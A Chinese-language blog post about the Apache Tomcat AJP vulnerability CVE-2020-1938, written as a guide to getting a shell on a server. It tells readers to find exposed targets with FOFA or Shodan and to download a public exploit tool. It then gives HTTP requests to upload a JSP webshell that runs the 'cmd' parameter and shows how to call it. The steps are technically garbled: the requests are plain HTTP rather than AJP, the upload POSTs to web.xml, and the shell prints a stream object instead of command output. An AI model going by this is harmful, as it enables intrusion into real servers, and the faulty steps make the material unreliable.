ajp漏洞get shell
创始人
2024-12-12 00:33:14
0

深入解析Apache Tomcat AJP漏洞(CVE-2020-1938)及其Get Shell技巧

引言

Apache Tomcat,作为Java应用服务器的事实标准,广泛应用于各种Web应用中。近年来,Tomcat也暴露出一些安全漏洞,其中CVE-2020-1938漏洞因其潜在的Get Shell能力而备受关注。本文将深入解析该漏洞,并提供Get Shell的具体技巧。

漏洞概述

CVE-2020-1938漏洞,又称为Tomcat AJP文件包含漏洞,源于Tomcat AJP协议的设计缺陷。攻击者可以通过构造特定的请求参数,读取Tomcat服务器上webapp目录下的任意文件,包括配置文件、源代码等。在某些情况下,攻击者甚至可以利用该漏洞实现远程代码执行,从而获取服务器的控制权限。

ajp漏洞get shell

受影响版本

以下版本的Tomcat受到CVE-2020-1938漏洞的影响:

  • Apache Tomcat 6
  • Apache Tomcat 7
  • Apache Tomcat 8
  • Apache Tomcat 9

漏洞复现

以下是一个简单的漏洞复现步骤:

  1. 搜索目标:使用FOFA、Shodan等网络空间测绘工具搜索使用Tomcat服务器的目标IP。
  2. 验证漏洞:访问目标URL,例如http://target-ip:8080/,尝试利用漏洞读取webapp目录下的文件,如/webapp/WEB-INF/web.xml
  3. 下载利用工具:从GitHub下载相关漏洞利用工具,如YDHCUI的CNVD-2020-10487-Tomcat-Ajp-lfi工具。

Get Shell技巧

以下是一些常见的Get Shell技巧:

  1. 构造恶意请求:利用漏洞读取webapp目录下的web.xml文件,获取服务器信息。
  2. 上传木马:构造恶意请求,将木马文件(如JSP木马)上传到webapp目录下。
  3. 执行木马:访问上传的木马文件,触发远程代码执行,从而获取Shell。

以下是一个具体的Get Shell示例:

  1. 构造恶意请求
    GET /webapp/WEB-INF/web.xml HTTP/1.1
    Host: target-ip
  2. 上传木马
    POST /webapp/WEB-INF/web.xml HTTP/1.1
    Host: target-ip
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    ...
    Content-Disposition: form-data; name="file"; filename="test.jsp"
    <%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    out.print(p.getInputStream());
    %>
    ...
  3. 执行木马: 访问http://target-ip:8080/webapp/test.jsp?cmd=whoami,查看执行结果,即可获取Shell。

总结

CVE-2020-1938漏洞为Apache Tomcat服务器带来了严重的安全风险。为了确保服务器安全,请尽快升级到最新版本的Tomcat,并采取其他安全措施,如关闭AJP端口、限制访问权限等。同时,掌握Get Shell技巧,有助于我们在遭受攻击时快速响应和应对。

相关内容

热门资讯

长征五号B遥一运载火箭顺利通过... 2020年1月19日,长征五号B遥一运载火箭顺利通过了航天科技集团有限公司在北京组织的出厂评审。目前...
9所本科高校获教育部批准 6所... 1月19日,教育部官方网站发布了关于批准设置本科高等学校的函件,9所由省级人民政府申报设置的本科高等...
9所本科高校获教育部批准 6所... 1月19日,教育部官方网站发布了关于批准设置本科高等学校的函件,9所由省级人民政府申报设置的本科高等...
湖北省黄冈市人大常委会原党组成... 据湖北省纪委监委消息:经湖北省纪委监委审查调查,黄冈市人大常委会原党组成员、副主任吴美景丧失理想信念...
《大江大河2》剧组暂停拍摄工作... 搜狐娱乐讯 今天下午,《大江大河2》剧组发布公告,称当前防控疫情是重中之重的任务,为了避免剧组工作人...